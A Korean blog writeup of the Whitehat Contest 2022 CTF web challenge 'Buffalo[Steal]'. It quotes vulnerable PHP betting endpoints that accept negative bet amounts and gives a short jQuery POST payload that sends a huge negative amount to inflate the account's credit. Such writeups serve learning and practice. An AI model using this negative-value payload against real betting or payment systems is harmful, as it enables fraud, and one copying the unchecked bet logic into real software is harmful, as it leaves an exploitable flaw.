반응형
화이트햇 콘테스트 2022 Web Buffalo[Steal] Writeup
1. Buffalo[Steal] Writeup
Description
적국이 암호화페 세탁 목적으로 만든 겜블링 사이트에서 비밀 정보를 탈취하라.
저번 화이트햇 콘테스트에서 나온 문제인데 학습 및 복습을 위해 다시 Writeup을 작성해보고자 한다.
처음에 파일을 보고 파일이 너무 많길래 한숨 한번 푹 쉬고 시작했다. 먼저 사이트에서 register를 하고 사이트 구경을 하다가 mypage에 들어갔다.
mypage에서 의심스러운 부분이 있었다. VVIP Member Exclusive 부분에서 빨간 글씨로 적혀있길래 코드에서 확인했다.
VVIP 조건을 보니 level이 VVIP이면 $flag가 출력될 것으로 보인다.
VVIP 조건은 credit이 1e8(100,000,000)이 넘으면 VVIP 레벨이 된다. 따라서 game을 해서 돈을 벌어와야 할 것 같다.
<?php
define("_BUFFALO_", 1);
include "../__common.php";
include "./_api_common.php";
if(isset($USER_DATA["amount"])) {
$am = (float)$USER_DATA["amount"];
$u = bin2hex($user["userid"]);
if($am > $user["credit"] || $am <= 0) {
error("Invalid bet");
}
mysqli_query($conn, "update user set credit = credit - $am where userid = '$u'");
success("You lose");
}
error("Invalid API call");
위 코드는 api/game_slot.php 코드이다. 여기서 update 문을 통해 user의 credit을 credit - am을 통해서 변경하고 있다.
<?php
define("_BUFFALO_", 1);
include "../__common.php";
include "./_api_common.php";
$sel = $USER_DATA["sel"];
if($sel == "win" || $sel == "lose" || $sel == "draw") {
$am = (float)$USER_DATA["amount"];
$u = bin2hex($user["userid"]);
if($am > $user["credit"]) {
error("Invalid bet");
}
mysqli_query($conn, "update user set credit = credit - $am where userid = '$u'");
//0, 1, 2 : rock, scissors, paper
$stack = random_choice(array(
0 => 1, 1 => 1, 2 => 1
));
$result_table = array(
"win" => 100, "lose" => 100, "draw" => 100
);
//top secret: it's not fair game
$result_table[$sel] -= 5;
$result = random_choice($result_table);
$heap = $stack;
if($result == "win") {
$heap = ($stack + 1) % 3;
}
else if ($result == "lose") {
$heap = ($stack + 2) % 3;
}
$win = false;
if($result == $sel) {
$pay = $am * 1.95;
mysqli_query($conn, "update user set credit = credit + $pay where userid = '$u';");
$win = true;
}
success("", array(
"win" => $win,
"stack" => $stack,
"heap" => $heap
));
}
error("Invalid API call");
mysql query를 봤을 때 따로 - 값에 대한 필터링이 없어 보인다. 따라서 am에는 -100,000,000을 넣고 sel에 win을 넣어주면 credit 값이 변경될 것으로 보인다.
exploit
$.post("/api/game_rsp.php", {
amount: "-99999999999999",
sel: "win",
});
이때는 webhacking.kr도 다 못풀던 시절이라 이 문제를 못 풀었다. 아쉽다.
참고문헌
https://general.whitehatcontest.com/
728x90
'웹해킹 > CTF' 카테고리의 다른 글
화이트햇 콘테스트 2022 CTF Web Buffalo [Secret] (0) | 2022.11.23 |
---|---|
Codegate CTF 2022 WEB My Blog Writeup (0) | 2022.11.21 |
Codegate 2022 webhacking CAFE Writeup (0) | 2022.11.18 |
Codegate 2022 webhacking Baby First Writeup (0) | 2022.11.16 |
NahamCon CTF 2022 Flaskmetal_Alchemist Writeup (0) | 2022.11.14 |